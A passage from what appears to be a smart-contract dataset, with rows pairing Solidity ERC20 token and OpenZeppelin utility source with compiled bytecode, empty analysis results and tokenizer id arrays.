/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/StandardERC20.sol pragma solidity ^0.8.0; /** * @title StandardERC20 * @dev Implementation of the StandardERC20 */ contract StandardERC20 is ERC20Decimals, ServicePayer { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") { require(initialBalance_ > 0, "StandardERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } function decimals() public view virtual override returns (uint8) { return super.decimals(); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461014557806370a082311461015857806395d89b4114610181578063a457c2d714610189578063a9059cbb1461019c578063dd62ed3e146101af57600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101e8565b6040516100c391906107fa565b60405180910390f35b6100df6100da3660046107d0565b61027a565b60405190151581526020016100c3565b6002545b6040519081526020016100c3565b6100df61010f366004610794565b610290565b60405160ff7f00000000000000000000000000000000000000000000000000000000000000121681526020016100c3565b6100df6101533660046107d0565b61033f565b6100f361016636600461073f565b6001600160a01b031660009081526020819052604090205490565b6100b661037b565b6100df6101973660046107d0565b61038a565b6100df6101aa3660046107d0565b610423565b6100f36101bd366004610761565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600380546101f790610875565b80601f016020809104026020016040519081016040528092919081815260200182805461022390610875565b80156102705780601f1061024557610100808354040283529160200191610270565b820191906000526020600020905b81548152906001019060200180831161025357829003601f168201915b5050505050905090565b6000610287338484610430565b50600192915050565b600061029d848484610554565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103275760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103348533858403610430565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161028791859061037690869061084f565b610430565b6060600480546101f790610875565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561040c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161031e565b6104193385858403610430565b5060019392505050565b6000610287338484610554565b6001600160a01b0383166104925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161031e565b6001600160a01b0382166104f35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161031e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161031e565b6001600160a01b03821661061a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161031e565b6001600160a01b038316600090815260208190526040902054818110156106925760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161031e565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906106c990849061084f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161071591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461073a57600080fd5b919050565b60006020828403121561075157600080fd5b61075a82610723565b9392505050565b6000806040838503121561077457600080fd5b61077d83610723565b915061078b60208401610723565b90509250929050565b6000806000606084860312156107a957600080fd5b6107b284610723565b92506107c060208501610723565b9150604084013590509250925092565b600080604083850312156107e357600080fd5b6107ec83610723565b946020939093013593505050565b600060208083528351808285015260005b818110156108275785810183015185820160400152820161080b565b81811115610839576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561087057634e487b7160e01b600052601160045260246000fd5b500190565b600181811c9082168061088957607f821691505b602082108114156108aa57634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220d95f420a541fd45a641352786718fcd4341fbdd1520a52586f640f83c6b4188764736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 11329, 19841, 2094, 15136, 20952, 2581, 12521, 2683, 2683, 2497, 2581, 2278, 26224, 2050, 2629, 27421, 24087, 23777, 2692, 2575, 2683, 24434, 2581, 2094, 17465, 2497, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,559
0x96fe4d2d9a7d0d6af30881bbf524e0b34bdcae93
pragma solidity >=0.4.22 <0.7.0; abstract contract ERC20Interface { function totalSupply() virtual public view returns (uint); function balanceOf(address tokenOwner) virtual public view returns (uint balance); function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); function transfer(address to, uint tokens) virtual public returns (bool success); function approve(address spender, uint tokens) virtual public returns (bool success); function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract sampl is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "SAMPL TOKEN"; symbol = "SAMPL"; decimals = 18; //preferrably 18 _totalSupply = 450000000000000000000000; // 24 decimals balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function allowance(address tokenOwner, address spender) virtual override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) virtual override public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) virtual override public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) virtual override public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function totalSupply() virtual override public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) virtual override public view returns (uint balance) { return balances[tokenOwner]; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea26469706673582212206d23580125f1829c0d876521634c1ce904374ec8c882ece9dcd3c26c4948955964736f6c634300060b0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 7959, 2549, 2094, 2475, 2094, 2683, 2050, 2581, 2094, 2692, 2094, 2575, 10354, 14142, 2620, 2620, 2487, 10322, 2546, 25746, 2549, 2063, 2692, 2497, 22022, 2497, 16409, 6679, 2683, 2509, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1021, 1012, 1014, 1025, 10061, 3206, 9413, 2278, 11387, 18447, 2121, 12172, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 7484, 2270, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 19204, 12384, 2121, 1007, 7484, 2270, 3193, 5651, 1006, 21318, 3372, 5703, 1007, 1025, 3853, 21447, 1006, 4769, 19204, 12384, 2121, 1010, 4769, 5247, 2121, 1007, 7484, 2270, 3193, 5651, 1006, 21318, 3372, 3588, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,560
0x96fE5747F8246545dFA82E616155d0eE78a2bE25
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = 